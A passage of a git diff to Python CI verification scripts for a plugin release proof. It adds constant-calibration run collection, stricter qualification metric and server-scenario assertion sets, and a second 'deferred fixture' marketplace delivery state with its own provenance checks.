request["runtime"]["matrix_cell_id"] + and sample["workload_id"] == protocol["workloads"][metric]["workload_id"] + and sample["cache_state"] == matrix_cell["cache_state"] + and sample["residency_state"] == matrix_cell["residency_state"] + and sample["server_identity"] == identity, + f"{field} metric {metric} escaped its declared workload or server generation", + ) + qualification_measurement_sample_value( + metric, + sample, + contracts=request["contracts"], + phase_boundaries=protocol["calibration_phase_boundaries"], + allowed_awake_apis=allowed_awake_apis, + inclusive_api=inclusive_api, + maximum_suspend_ns=maximum_suspend_ns, + expected_policy="accelerated", + expected_backend=matrix_cell["backend"], + ) + retained.append((summary, raw, sha256(artifact_path))) + return retained + + +def _host_fingerprint() -> str: + identity = "|".join( + ( + platform.system(), + platform.machine(), + platform.release(), + platform.node(), + ) + ) + return hashlib.sha256(identity.encode("utf-8")).hexdigest() + + +def _retained_run( + *, + summary: dict, + raw: dict, + physical_artifact_sha256: str, + manifest: dict, + measurement_contract: dict, + matrix_cell_id: str, + matrix_cell: dict, + archive_sha256: str, + host_fingerprint: str, + request_sha256: str, +) -> dict: + run_index = summary["run_index"] + contracts = { + "protocol_sha256": measurement_contract["protocol_sha256"], + "measurement_protocol_sha256": measurement_contract[ + "measurement_protocol_sha256" + ], + "input_constant_set_sha256": measurement_contract["constant_set_sha256"], + } + package = { + "archive_sha256": require_sha256( + archive_sha256, + "constant-calibration archive sha256", + ), + "executable_sha256": runtime_executable_sha256(manifest), + "asset_target": manifest["asset_target"], + "release_version": manifest["release_version"], + "model_sha256": summary["model_sha256"], + "policy": "accelerated", + "backend": normalized_backend(matrix_cell["backend"]), + } + run_id = canonical_sha256( + { + "source": manifest["source"], + "package": package, + "matrix_cell_id": matrix_cell_id, + "run_index": run_index, + "host_fingerprint": host_fingerprint, + "request_sha256": request_sha256, + "driver_artifact_sha256": physical_artifact_sha256, + } + ) + payload = { + "schema_version": 1, + "run_id_sha256": run_id, + "matrix_cell_id": matrix_cell_id, + "run_index": run_index, + "host_fingerprint": host_fingerprint, + "source": manifest["source"], + "contracts": contracts, + "package": package, + "materialized_reused": summary["materialized_reused"], + "clean": True, + "unplanned_suspend": False, + "metrics": raw["metrics"], + } + return { + "run_id_sha256": run_id, + "matrix_cell_id": matrix_cell_id, + "run_index": run_index, + "host_fingerprint": host_fingerprint, + "clean": True, + "unplanned_suspend": False, + "source": manifest["source"], + "contracts": contracts, + "package": package, + "materialized_reused": summary["materialized_reused"], + "raw_artifact": { + "name": summary["measurements"]["artifact"], + "sha256": canonical_sha256(payload), + "payload": payload, + }, + } + + +def collect_constant_calibration( + args, + *, + root: Path, + unpacked_root: Path, + cli: Path, + manifest: dict, + measurement_contract: dict, + env: dict[str, str], + archive_sha256: str, + package_phase_started: float, +) -> dict: + protocol = measurement_contract["measurement_protocol"] + matrix_cell = _constant_calibration_matrix_cell(args, protocol, manifest) + matrix_cell_id = args.qualification_matrix_cell + require( + args.qualification_driver is not None + and args.qualification_driver.is_file() + and not args.qualification_driver.is_symlink(), + "--collect-constant-calibration requires the exact shared calibration driver", + ) + retained_root = args.constant_calibration_output_dir + require( + retained_root is not None, + "--collect-constant-calibration requires --constant-calibration-output-dir", + ) + retained_root.mkdir(parents=True, exist_ok=True) + require( + retained_root.is_dir() + and not retained_root.is_symlink() + and not any(retained_root.iterdir()), + "constant-calibration output directory must be a new empty directory", + ) + setup_started = time.perf_counter() + private_root = root / "constant-calibration" + private_root.mkdir(mode=0o700) + project = _prepare_synthetic_project(private_root) + nonce = secrets.token_hex(32) + register_failure_evidence_secret(nonce) + nonce_sha256 = hashlib.sha256(nonce.encode("ascii")).hexdigest() + executable = runtime_executable_path(cli, manifest) + driver_contracts = { + "protocol_sha256": measurement_contract["protocol_sha256"], + "constant_set_sha256": measurement_contract["constant_set_sha256"], + "measurement_protocol_sha256": measurement_contract[ + "measurement_protocol_sha256" + ], + } + request = { + "schema_version": 1, + "calibration_nonce": nonce, + "calibration_nonce_sha256": nonce_sha256, + "source": manifest["source"], + "package": { + "archive_sha256": archive_sha256, + "executable_sha256": runtime_executable_sha256(manifest), + "asset_target": manifest["asset_target"], + "release_version": manifest["release_version"], + "model_sha256": manifest["model"]["sha256"], + }, + "contracts": driver_contracts, + "runtime": { + "engine_policy": "accelerated", + "expected_backend": normalized_backend(matrix_cell["backend"]), + "offline": True, + "matrix_cell_id": matrix_cell_id, + "cache_state": matrix_cell["cache_state"], + "residency_state": matrix_cell["residency_state"], + }, + "project": str(project), + "required_runs": _RUN_COUNT, + "output_directory": str(private_root.resolve()), + } + request_path = private_root / "request.json" + output_path = private_root / "output.json" + write_private_json(request_path, request) + calibration_env = dict(env) + require( + calibration_env.get("CODESTORY_EMBED_ALLOW_CPU") == "0", + "constant calibration must disable CPU fallback", + ) + calibration_env["CODESTORY_EMBED_CONSTANT_CALIBRATION_DIR"] = str( + private_root.resolve() + ) + calibration_env["CODESTORY_EMBED_CONSTANT_CALIBRATION_NONCE"] = nonce + calibration_env["CODESTORY_PLUGIN_CLI_ARCHIVE_SHA256"] = archive_sha256 + calibration_env["CODESTORY_PLUGIN_CLI_MANIFEST_PATH"] = str( + _native_manifest_path(unpacked_root) + ) + setup_finished = time.perf_counter() + measurement = run( + [ + str(args.qualification_driver.resolve()), + "--cli", + str(executable), + "--request", + str(request_path), + "--output", + str(output_path), + ], + env=calibration_env, + cwd=root, + timeout=args.timeout_secs, + ) + validation_started = time.perf_counter() + output = _load_json(output_path, "constant-calibration driver output") + retained = _validate_driver_output( + output, + request=request, + request_path=request_path, + private_root=private_root, + protocol=protocol, + matrix_cell=matrix_cell, + ) + fingerprint = _host_fingerprint() + run_artifacts = [] + for summary, raw, physical_digest in retained: + document = _retained_run( + summary=summary, + raw=raw, + physical_artifact_sha256=physical_digest, + manifest=manifest, + measurement_contract=measurement_contract, + matrix_cell_id=matrix_cell_id, + matrix_cell=matrix_cell, + archive_sha256=archive_sha256, + host_fingerprint=fingerprint, + request_sha256=output["request_sha256"], + ) + destination = retained_root / f"run-{summary['run_index']}.json" + write_json(destination, document) + run_artifacts.append( + { + "name": destination.name, + "sha256": sha256(destination), + "raw_artifact_sha256": physical_digest, + } + ) + finished = time.perf_counter() + timing = { + "schema_version": 1, + "archive_authentication_unpack_ms": round( + (setup_started - package_phase_started) * 1000, + 3, + ), + "project_and_request_setup_ms": round( + (setup_finished - setup_started) * 1000, + 3, + ), + "measurement_ms": measurement["wall_ms"], + "retention_validation_ms": round((finished - validation_started) * 1000, 3), + "end_to_end_ms": round((finished - package_phase_started) * 1000, 3), + } + write_json(retained_root / "timing.json", timing) + return { + "schema_version": 1, + "status": "constant_calibration", + "matrix_cell_id": matrix_cell_id, + "required_for_assembly": matrix_cell_id in protocol["calibration_matrix"], + "run_count": len(run_artifacts), + "metric_count_per_run": _METRIC_COUNT, + "sample_count_per_metric_per_run": 1, + "run_artifacts": run_artifacts, + "timing": timing, + } diff --git a/.github/scripts/packaged_agent_proof/contract_primitives.py b/.github/scripts/packaged_agent_proof/contract_primitives.py index c9fa6ebf4..3de0b13e0 100644 --- a/.github/scripts/packaged_agent_proof/contract_primitives.py +++ b/.github/scripts/packaged_agent_proof/contract_primitives.py @@ -229,9 +229,8 @@ def validate_runtime_claim_scope(args: argparse.Namespace) -> None: require( not args.produce_qualification_evidence and args.qualification_evidence is None - and args.retrieval_quality_evidence is None and args.publication_fault_evidence is None, - "server-behavior-only proof rejects qualification and retrieval-quality inputs", + "server-behavior-only proof rejects qualification inputs", ) if args.ground_only: require( @@ -242,7 +241,6 @@ def validate_runtime_claim_scope(args: argparse.Namespace) -> None: not args.server_behavior_only and not args.produce_qualification_evidence and args.qualification_evidence is None - and args.retrieval_quality_evidence is None and args.publication_fault_evidence is None, - "ground-only proof rejects server, qualification, and retrieval-quality inputs", + "ground-only proof rejects server and qualification inputs", ) diff --git a/.github/scripts/packaged_agent_proof/foundation.py b/.github/scripts/packaged_agent_proof/foundation.py index a00370958..d9cfa9c1d 100644 --- a/.github/scripts/packaged_agent_proof/foundation.py +++ b/.github/scripts/packaged_agent_proof/foundation.py @@ -141,10 +141,23 @@ def resource_uri_matches( return False -EXTERNAL_QUALIFICATION_METRICS = { - "retrieval_quality", - "total_codestory_process_memory", -} +REQUIRED_QUALIFICATION_METRICS = frozenset( + { + "backend_observed_accelerator_residency", + "bulk_documents_per_second", + "bulk_tokens_per_second", + "busy_retry_usefulness", + "cold_first_vector", + "existing_owner_connect", + "first_product_ready", + "spawn_convergence", + "total_codestory_process_memory", + "true_idle_exit", + "warm_bulk_ipc", + "warm_query_ipc", + } +) +EXTERNAL_QUALIFICATION_METRICS = {"total_codestory_process_memory"} MEASUREMENT_PROTOCOL = ( REPOSITORY_ROOT / "crates" @@ -221,6 +234,84 @@ def resource_uri_matches( "incompatible_owner", "frozen_owner", } +REQUIRED_SERVER_SCENARIO_ASSERTIONS = { + "client_death": frozenset( + { + "dead_client_queue_and_leases_reclaimed", + "other_client_continues", + "no_server_replacement", + } + ), + "cold_race": frozenset( + { + "two_independent_plugin_hosts", + "same_os_account", + "different_repositories", + "one_lifetime_authority", + "one_listener", + "one_server", + "one_engine_owner", + "one_native_worker", + "one_load_generation", + "one_model_load", + } + ), + "frozen_owner": frozenset( + { + "owner_unresponsive_is_bounded", + "authority_retained", + "no_unlink", + "no_pid_kill", + "no_takeover", + "no_second_engine", + } + ), + "incompatible_owner": frozenset( + { + "idle_owner_drains", + "active_owner_returns_typed_retry", + "one_authority", + "one_engine_maximum", + } + ), + "mixed_queue": frozenset( + { + "query_and_bulk_capacities_are_64", + "fifo_within_each_class", + "query_preferred_between_bulk_batches", + "bulk_resumes_when_query_queue_permits", + "no_project_or_scope_round_robin", + "typed_retry_names_useful_condition", + "no_project_or_request_text_leakage", + } + ), + "server_crash": frozenset( + { + "one_replacement_server", + "pure_embedding_rpc_replayed_at_most_once", + "lost_publication_lease_blocks_commit", + "previous_publication_remains_usable", + } + ), + "true_idle_respawn": frozenset( + { + "queued_active_and_leased_work_prevent_exit", + "idle_connections_and_diagnostics_do_not_extend_idle", + "exit_after_60000_awake_ms", + "next_product_operation_respawns_without_consent", + "verified_materialization_reused", + } + ), + "worker_stall": frozenset( + { + "independent_watchdog_fail_stops_server", + "unrelated_process_survives", + "pure_embedding_rpc_replayed_at_most_once", + "lost_publication_lease_blocks_commit", + "previous_publication_remains_usable", + } + ), +} LOWER_TIER_NONCLAIMS = { "answer_quality", "release_readiness", diff --git a/.github/scripts/packaged_agent_proof/installation_support.py b/.github/scripts/packaged_agent_proof/installation_support.py index 7ebcde89f..01c565992 100644 --- a/.github/scripts/packaged_agent_proof/installation_support.py +++ b/.github/scripts/packaged_agent_proof/installation_support.py @@ -94,7 +94,7 @@ def isolated_environment( "TEMP": str(temp), "TMP": str(temp), "XDG_RUNTIME_DIR": str(runtime), - "CODESTORY_EMBED_ALLOW_CPU": "1" if policy == "cpu_explicit" else "0", + "CODESTORY_EMBED_ALLOW_CPU": "0", } ) if offline: diff --git a/.github/scripts/packaged_agent_proof/installed_identity.py b/.github/scripts/packaged_agent_proof/installed_identity.py index 14095885f..a338fec77 100644 --- a/.github/scripts/packaged_agent_proof/installed_identity.py +++ b/.github/scripts/packaged_agent_proof/installed_identity.py @@ -10,7 +10,10 @@ from .contract_primitives import require_exact_keys, sha256 from .foundation import REPOSITORY_ROOT, ProofFailure, require from .installation_support import directory_contract_sha256, same_existing_path -from .marketplace_installation import marketplace_installed_plugin_identity +from .marketplace_installation import ( + delivery_state, + marketplace_installed_plugin_identity, +) def _reject_source_checkout(plugin_root: Path) -> None: @@ -157,9 +160,15 @@ def installed_plugin_identity( ) _reject_source_checkout(plugin_root) attestation = _load_attestation(args.installed_plugin_attestation) - if attestation.get("installation_source") == "codex_marketplace_install": + # Each installer identity routes to exactly one accepted shape. A live public-catalog + # install and a deferred candidate-pinned fixture are different states of the world, so + # neither can be verified by the other's predicate -- the live check is not relaxed to + # admit a fixture, and the deferred check cannot mint the live repository name. + state = delivery_state(attestation.get("installation_source")) + if state is not None: return marketplace_installed_plugin_identity( attestation, + state, args.installed_plugin_data, plugin_root, manifest, diff --git a/.github/scripts/packaged_agent_proof/marketplace_installation.py b/.github/scripts/packaged_agent_proof/marketplace_installation.py index e6ead8311..469041139 100644 --- a/.github/scripts/packaged_agent_proof/marketplace_installation.py +++ b/.github/scripts/packaged_agent_proof/marketplace_installation.py @@ -1,10 +1,33 @@ -"""Marketplace checkout and installed-plugin provenance.""" +"""Marketplace checkout and installed-plugin provenance. + +Two delivery states resolve a released plugin through a Codex marketplace, and this module +accepts exactly two correspondingly distinct shapes: + +* ``codex_marketplace_install`` -- the live public catalog. The resolver clones + ``TheGreenCedar/AgentPluginMarketplace`` over Git into the isolated Codex home at a pinned + ``ref``, so the checkout is remote-backed and carries that URL as its ``origin``. +* ``codex_marketplace_deferred_fixture`` -- a catalog built by + ``.github/scripts/build-marketplace-fixture.mjs`` and pinned to the exact published commit, + used when catalog publication was deferred. The resolver reads it as a *local* source: the + marketplace root IS the fixture directory, the config records ``source_type = "local"`` with + no ``ref``, and the repository has no ``origin`` remote at all. + +Those are observed facts, not guesses: running the real pinned Codex CLI against a real fixture +produces ``sourceType: "local"`` and a marketplace root outside the Codex home, which is why the +live shape cannot describe a deferred install and must not be relaxed to try. + +Nothing about the *plugin* differs between the states. The pinned ``git-subdir`` source, the +plugin add/list identity, the installed bytes, and the binding to the packaged release source are +verified identically, because the deferred state is a statement about which catalog served the +install -- never a statement that less was proved. +""" from __future__ import annotations import json import re import subprocess +from dataclasses import dataclass from pathlib import Path import tomllib @@ -18,6 +41,49 @@ _MARKETPLACE_URL = f"https://github.com/{_MARKETPLACE_REPOSITORY}.git" _PLUGIN_ID = f"codestory@{_MARKETPLACE_NAME}" +LIVE_INSTALLATION_SOURCE = "codex_marketplace_install" +DEFERRED_INSTALLATION_SOURCE = "codex_marketplace_deferred_fixture" +# Mirrors DEFERRED_MARKETPLACE_REPOSITORY in +# .github/scripts/marketplace-delivery-identity.mjs. Deliberately not a filesystem path and +# deliberately not shaped like "owner/repo": it can never be confused with the live catalog. +_DEFERRED_MARKETPLACE_REPOSITORY = "local:candidate-pinned-marketplace-fixture" +_FIXTURE_MARKER_FILENAME = ".codestory-marketplace-fixture.json" +_FIXTURE_MARKER_PURPOSE = "codestory-candidate-pinned-marketplace-fixture" + + +@dataclass(frozen=True) +class _DeliveryState: + """The parts of the accepted shape that differ between the two catalog states.""" + + installation_source: str + repository: str + source_type: str + #: ``True`` when the resolver clones the catalog into the isolated Codex home. + checkout_inside_codex_home: bool + + +_LIVE = _DeliveryState( + installation_source=LIVE_INSTALLATION_SOURCE, + repository=_MARKETPLACE_REPOSITORY, + source_type="git", + checkout_inside_codex_home=True, +) +_DEFERRED = _DeliveryState( + installation_source=DEFERRED_INSTALLATION_SOURCE, + repository=_DEFERRED_MARKETPLACE_REPOSITORY, + source_type="local", + checkout_inside_codex_home=False, +) + +_DELIVERY_STATES = {state.installation_source: state for state in (_LIVE, _DEFERRED)} + + +def delivery_state(installation_source: object) -> _DeliveryState | None: + """The accepted shape for an installer identity, or ``None`` if it names no marketplace.""" + if not isinstance(installation_source, str): + return None + return _DELIVERY_STATES.get(installation_source) + def _git_output(repository: Path, *arguments: str) -> str: completed = subprocess.run( @@ -33,6 +99,29 @@ def _git_output(repository: Path, *arguments: str) -> str: return completed.stdout.strip() +def _git_origin_url(repository: Path) -> str | None: + """The checkout's ``origin`` URL, or ``None`` when it deliberately has no remote. + + A candidate-pinned fixture is built locally and never fetched from anywhere, so + ``git remote get-url origin`` exits non-zero by design. Treating that as a probe failure + made the deferred state unprovable; the deferred shape asserts the absence positively + instead, and the live shape still demands the exact marketplace URL. + """ + completed = subprocess.run( + ["git", "-C", str(repository), "remote", "get-url", "origin"], + text=True, + capture_output=True, + timeout=30, + ) + if completed.returncode != 0: + require( + "No such remote" in completed.stderr, + f"Git identity probe failed: {completed.stderr.strip()}", + ) + return None + return completed.stdout.strip() + + def _marketplace_source(source_sha: str) -> dict[str, str]: return { "source": "git-subdir", @@ -42,8 +131,16 @@ def _marketplace_source(source_sha: str) -> dict[str, str]: } +def _marketplace_origin(state: _DeliveryState, marketplace_root: Path) -> dict[str, str]: + return { + "sourceType": state.source_type, + "source": _MARKETPLACE_URL if state is _LIVE else str(marketplace_root), + } + + def _validate_attestation_paths( attestation: dict, + state: _DeliveryState, installed_plugin_data: Path, plugin_root: Path, manifest: dict, @@ -83,7 +180,7 @@ def _validate_attestation_paths( ) require( attestation["schema_version"] == 2 - and attestation["installation_source"] == "codex_marketplace_install" + and attestation["installation_source"] == state.installation_source and codex_home.is_dir() and same_existing_path(Path(installation["plugin_root"]), plugin_root) and same_existing_path(Path(installation["plugin_data"]), installed_plugin_data) @@ -96,6 +193,7 @@ def _validate_attestation_paths( def _validate_marketplace_results( marketplace: dict, + state: _DeliveryState, codex_home: Path, plugin_root: Path, manifest: dict, @@ -117,7 +215,7 @@ def _validate_marketplace_results( revision = marketplace["revision"] marketplace_add = marketplace["add_result"] require( - marketplace["repository"] == _MARKETPLACE_REPOSITORY + marketplace["repository"] == state.repository and marketplace["codex_cli_version"] == f"codex-cli {PINNED_CODEX_CLI_VERSION}" and isinstance(revision, str) and re.fullmatch(r"[0-9a-f]{40}", revision) is not None @@ -132,19 +230,35 @@ def _validate_marketplace_results( "Codex marketplace add result omitted installedRoot", ) marketplace_root = Path(marketplace_root_raw).resolve() - expected_root = codex_home / ".tmp" / "marketplaces" / _MARKETPLACE_NAME - require( - marketplace_root.is_dir() - and marketplace_root.is_relative_to(codex_home) - and same_existing_path(marketplace_root, expected_root), - "Codex marketplace root is outside its isolated home", + if state.checkout_inside_codex_home: + expected_root = codex_home / ".tmp" / "marketplaces" / _MARKETPLACE_NAME + require( + marketplace_root.is_dir() + and marketplace_root.is_relative_to(codex_home) + and same_existing_path(marketplace_root, expected_root), + "Codex marketplace root is outside its isolated home", + ) + else: + # A local catalog is read where it was built, so it cannot be required to live inside + # the Codex home. What it must not be is the CodeStory checkout itself: a catalog that + # is the tree under test would make the resolve prove nothing. + require( + marketplace_root.is_dir() + and not marketplace_root.is_relative_to(codex_home) + and not marketplace_root.is_relative_to(REPOSITORY_ROOT) + and not REPOSITORY_ROOT.is_relative_to(marketplace_root), + "candidate-pinned marketplace fixture is the release checkout or the Codex home", + ) + _validate_marketplace_list(marketplace, state, marketplace_root) + plugin_source_sha = _validate_plugin_results( + marketplace, state, marketplace_root, plugin_root, manifest ) - _validate_marketplace_list(marketplace, marketplace_root) - plugin_source_sha = _validate_plugin_results(marketplace, plugin_root, manifest) return marketplace_root, plugin_source_sha -def _validate_marketplace_list(marketplace: dict, marketplace_root: Path) -> None: +def _validate_marketplace_list( + marketplace: dict, state: _DeliveryState, marketplace_root: Path +) -> None: provenance = marketplace["provenance"] require_exact_keys(provenance, {"add", "list"}, "marketplace provenance") for operation in ("add", "list"): @@ -165,19 +279,18 @@ def _validate_marketplace_list(marketplace: dict, marketplace_root: Path) -> Non { "name": _MARKETPLACE_NAME, "root": str(marketplace_root), - "marketplaceSource": { - "sourceType": "git", - "source": _MARKETPLACE_URL, - }, + "marketplaceSource": _marketplace_origin(state, marketplace_root), } ] }, - "Codex marketplace list does not match the configured Git snapshot", + "Codex marketplace list does not match the configured snapshot", ) def _validate_plugin_results( marketplace: dict, + state: _DeliveryState, + marketplace_root: Path, plugin_root: Path, manifest: dict, ) -> str: @@ -215,10 +328,7 @@ def _validate_plugin_results( "installed": True, "enabled": True, "source": _marketplace_source(source_sha), - "marketplaceSource": { - "sourceType": "git", - "source": _MARKETPLACE_URL, - }, + "marketplaceSource": _marketplace_origin(state, marketplace_root), "installPolicy": "AVAILABLE", "authPolicy": "ON_INSTALL", } @@ -230,29 +340,78 @@ def _validate_plugin_results( return source_sha +def _validate_fixture_identity( + marketplace_root: Path, plugin_source_sha: str, manifest: dict +) -> None: + """A deferred install must resolve a fixture that says what it is, in its own bytes. + + Without this, any local git directory carrying a plausible catalog would satisfy the + deferred shape. The marker is written by build-marketplace-fixture.mjs and names the commit + the catalog pins, so the fixture, the catalog, and the released source all have to agree. + """ + marker_path = marketplace_root / _FIXTURE_MARKER_FILENAME + require( + marker_path.is_file(), + "deferred catalog resolve did not use a candidate-pinned marketplace fixture", + ) + marker = json.loads(marker_path.read_text(encoding="utf-8")) + require_exact_keys( + marker, + {"schema_version", "purpose", "pinned_commit", "plugin_version"}, + "marketplace fixture marker", + ) + require( + marker["schema_version"] == 1 + and marker["purpose"] == _FIXTURE_MARKER_PURPOSE + and marker["pinned_commit"] == plugin_source_sha + and marker["pinned_commit"] == manifest["source"]["commit"] + and marker["plugin_version"] == manifest["release_version"], + "marketplace fixture does not pin the exact released commit it served", + ) + + def _validate_marketplace_checkout( codex_home: Path, + state: _DeliveryState, marketplace_root: Path, marketplace: dict, plugin_source_sha: str, + manifest: dict, ) -> str: config = tomllib.loads((codex_home / "config.toml").read_text(encoding="utf-8")) marketplace_config = config.get("marketplaces", {}).get(_MARKETPLACE_NAME) plugin_config = config.get("plugins", {}).get(_PLUGIN_ID) require( isinstance(marketplace_config, dict) - and marketplace_config.get("source_type") == "git" - and marketplace_config.get("source") == _MARKETPLACE_URL - and marketplace_config.get("ref") == marketplace["revision"] + and marketplace_config.get("source_type") == state.source_type + and marketplace_config.get("source") + == _marketplace_origin(state, marketplace_root)["source"] and plugin_config == {"enabled": True}, - "isolated Codex config does not pin the immutable marketplace revision", + "isolated Codex config does not record the resolved marketplace source", ) + if state is _LIVE: + require( + marketplace_config.get("ref") == marketplace["revision"], + "isolated Codex config does not pin the immutable marketplace revision", + ) + else: + # A local source has no ref to pin. Recording one would be the deferred state claiming + # a live catalog revision, so its absence is asserted rather than merely unchecked. + require( + "ref" not in marketplace_config, + "deferred catalog config claims a live marketplace revision", + ) + # Checked before the Git probes, not after: the marker is committed into the fixture, so a + # missing or altered one also dirties the tree. Ordering it first means the failure names + # the actual defect instead of passing for an unrelated reason. + if state is _DEFERRED: + _validate_fixture_identity(marketplace_root, plugin_source_sha, manifest) marketplace_commit = _git_output(marketplace_root, "rev-parse", "HEAD") + origin = _git_origin_url(marketplace_root) require( marketplace_commit == marketplace["revision"] and _git_output(marketplace_root, "status", "--porcelain") == "" - and _git_output(marketplace_root, "remote", "get-url", "origin") - == _MARKETPLACE_URL, + and origin == (_MARKETPLACE_URL if state is _LIVE else None), "Codex marketplace checkout has invalid or mutable Git identity", ) catalog = json.loads( @@ -303,27 +462,32 @@ def _validate_release_source(plugin: dict, plugin_root: Path, manifest: dict) -> def marketplace_installed_plugin_identity( attestation: dict, + state: _DeliveryState, installed_plugin_data: Path, plugin_root: Path, manifest: dict, ) -> dict: codex_home, plugin, marketplace = _validate_attestation_paths( attestation, + state, installed_plugin_data, plugin_root, manifest, ) marketplace_root, plugin_source_sha = _validate_marketplace_results( marketplace, + state, codex_home, plugin_root, manifest, ) marketplace_commit = _validate_marketplace_checkout( codex_home, + state, marketplace_root, marketplace, plugin_source_sha, + manifest, ) require( plugin["source_commit"] == plugin_source_sha, @@ -332,9 +496,9 @@ def marketplace_installed_plugin_identity( package_sha256 = _validate_release_source(plugin, plugin_root, manifest) return { "schema_version": 2, - "installation_source": "codex_marketplace_install", + "installation_source": state.installation_source, "codex_cli_version": PINNED_CODEX_CLI_VERSION, - "marketplace_repository": _MARKETPLACE_REPOSITORY, + "marketplace_repository": state.repository, "marketplace_commit": marketplace_commit, "plugin_id": "codestory", "plugin_version": manifest["release_version"], diff --git a/.github/scripts/packaged_agent_proof/measurement_constant_selection.py b/.github/scripts/packaged_agent_proof/measurement_constant_selection.py index 243258f1b..c33ba08cb 100644 --- a/.github/scripts/packaged_agent_proof/measurement_constant_selection.py +++ b/.github/scripts/packaged_agent_proof/measurement_constant_selection.py @@ -35,7 +35,7 @@ def _verify_constant_sources(constant_selection: dict) -> None: } and all( isinstance(cell, dict) - and cell.get("artifact") == "measurements.raw.json" + and cell.get("artifact") == "constant-calibration-run-*.raw.json" and isinstance(cell.get("operand"), str) and bool(cell["operand"]) and ( @@ -50,9 +50,10 @@ def _verify_constant_sources(constant_selection: dict) -> None: constant_selection["clean_run_requirements"] == { "minimum_runs_per_matrix_cell": 3, - "matrix_coverage": "every_calibration_matrix_cell", + "matrix_coverage": "every_required_calibration_matrix_cell", "source_identity": "one_exact_candidate_commit_and_tree", "artifact_selection": "all_preregistered_clean_runs", + "fresh_server_identity": "disjoint_across_clean_runs", "unplanned_suspend": False, "outlier_removal": "none", }, @@ -100,7 +101,11 @@ def _verify_constant_formulas(constant_selection: dict) -> None: and formulas["request_deadlines_ms"] .get("bulk_request_deadline_ms", {}) .get("replay_success_budget_formula") - == "max(query_request_deadline_ms,ceiling(maximum_raw_value_ms_across_all_selected_samples*1.50))" + == "max(144537,query_request_deadline_ms,ceiling(maximum_raw_value_ms_across_all_selected_samples*1.50))" + and formulas["request_deadlines_ms"] + .get("bulk_request_deadline_ms", {}) + .get("replay_success_budget_slow_host_floor_ms") + == 144537 and formulas["request_deadlines_ms"] .get("bulk_request_deadline_ms", {}) .get("formula") @@ -109,7 +114,9 @@ def _verify_constant_formulas(constant_selection: dict) -> None: ) require( formulas["capacity_retry_policy"].get("retry_after_ms_formula") - == "max(1,floor(minimum_raw_value_ms_across_all_selected_samples*0.50))" + == "max(40,floor(minimum_raw_value_ms_across_all_selected_samples*0.50))" + and formulas["capacity_retry_policy"].get("retry_after_slow_host_floor_ms") + == 40 and formulas["capacity_retry_policy"].get("retry_class") == "after_capacity_change" and formulas["capacity_retry_policy"].get("retry_condition_source") @@ -118,13 +125,26 @@ def _verify_constant_formulas(constant_selection: dict) -> None: ) require( formulas["election_backoff_policy"].get("initial_backoff_ms_formula") - == "max(1,ceiling(maximum_existing_owner_connect_duration_ms_across_all_selected_samples*0.50))" + == "max(7,ceiling(maximum_existing_owner_connect_duration_ms_across_all_selected_samples*0.50))" + and formulas["election_backoff_policy"].get("initial_backoff_slow_host_floor_ms") + == 7 and formulas["election_backoff_policy"].get("maximum_backoff_ms_formula") - == "max(initial_backoff_ms,ceiling(maximum_spawn_convergence_duration_ms_across_all_selected_samples*0.25))" + == "max(102,initial_backoff_ms,ceiling(maximum_spawn_convergence_duration_ms_across_all_selected_samples*0.25))" + and formulas["election_backoff_policy"].get("maximum_backoff_slow_host_floor_ms") + == 102 and formulas["election_backoff_policy"].get("jitter") == "sha256(process_start_id||attempt) modulo inclusive [initial_backoff_ms,maximum_backoff_ms]", "election backoff selection formula changed", ) + require( + formulas["hard_native_no_progress_ms"].get("formula") + == "max(385431,ceiling(maximum_complete_successful_operation_duration_ms_across_all_selected_samples*4.00))" + and formulas["hard_native_no_progress_ms"].get("slow_host_floor_ms") == 385431 + and formulas["watchdog_cadence_ms"].get("formula") + == "max(19271,floor(hard_native_no_progress_ms/20))" + and formulas["watchdog_cadence_ms"].get("slow_host_floor_ms") == 19271, + "native no-progress or watchdog slow-host floor changed", + ) require( constant_selection["post_result_formula_changes"] is False, "production constants allow post-result formula changes", @@ -159,30 +179,23 @@ def _verify_constant_selection(protocol: dict) -> None: def _verify_thresholds_and_clock(protocol: dict) -> None: - threshold_selection = protocol.get("threshold_selection") + threshold_contract = protocol.get("qualification_threshold_contract") require( - isinstance(threshold_selection, dict) - and threshold_selection + isinstance(threshold_contract, dict) + and threshold_contract == { - "minimum_clean_calibration_runs_per_matrix_cell": 3, - "matrix_coverage": "every_calibration_matrix_cell", - "source_identity": "one_exact_candidate_commit_and_tree", - "producer_identity": ( - "trusted_packaged_platform_pr_workflow_run_and_exact_artifact" - ), - "artifact_selection": "all_preregistered_clean_runs", - "less_than_or_equal": ( - "ceiling(maximum_cell_aggregate_across_all_runs*1.20)" - ), - "greater_than_or_equal": ( - "floor(minimum_cell_aggregate_across_all_runs*0.80)" - ), - "equal": "exact_observed_contract_value", - "retrieval_quality": 1.0, - "outlier_removal": "none", - "post_result_threshold_changes": False, + "source": "checked_in_frozen_candidate_contract", + "selected_by_calibration": False, + "omitted_measurements": "preserve_checked_in_thresholds", + "true_idle_exit": { + "idle_timeout_ms": 60_000, + "observation_grace_ms": 2_500, + "formula": "idle_timeout_ms+observation_grace_ms", + "required_threshold_ms": 62_500, + "qualification_runs_per_available_gpu_platform": 1, + }, }, - "measurement threshold-selection formula is incomplete or mutable", + "qualification-threshold contract is incomplete or mutable", ) require( protocol.get("calibration_bundle_contract") @@ -191,6 +204,7 @@ def _verify_thresholds_and_clock(protocol: dict) -> None: "required_for_frozen_qualification": True, "matrix_cells": "exactly_every_calibration_matrix_cell", "independent_clean_runs_per_matrix_cell": 3, + "samples_per_metric_per_run": 1, "source_identity": "one_exact_candidate_commit_and_tree", "producer_identity": ( "trusted_packaged_platform_pr_workflow_run_and_exact_artifact" @@ -199,9 +213,7 @@ def _verify_thresholds_and_clock(protocol: dict) -> None: "protocol_sha256", "measurement_protocol_sha256", ], - "raw_artifact": ( - "embedded_product_and_five_process_measurements_with_canonical_sha256" - ), + "raw_artifact": "nine_constant_source_metrics_with_canonical_sha256", "clock_witnesses": "awake_monotonic_plus_suspend_inclusive_per_sample", "successful_operation_operand": "successful_operation_duration_ns", "freeze_digest_inputs": [ @@ -211,17 +223,27 @@ def _verify_thresholds_and_clock(protocol: dict) -> None: "contracts", "run_artifact_sha256s", "calibration_required_values", - "qualification_thresholds", ], - "constant_set_comparison": ( - "exact_recomputed_values_thresholds_and_freeze_record" - ), + "constant_set_comparison": "exact_recomputed_runtime_constants_and_freeze_record", "qualification_boundary": ( - "installed_runtime_cells_are_post_freeze_qualification_only" + "lifecycle_fault_idle_memory_accelerator_and_performance_are_frozen_candidate_qualification_only" ), }, "measurement calibration-bundle contract is incomplete or mutable", 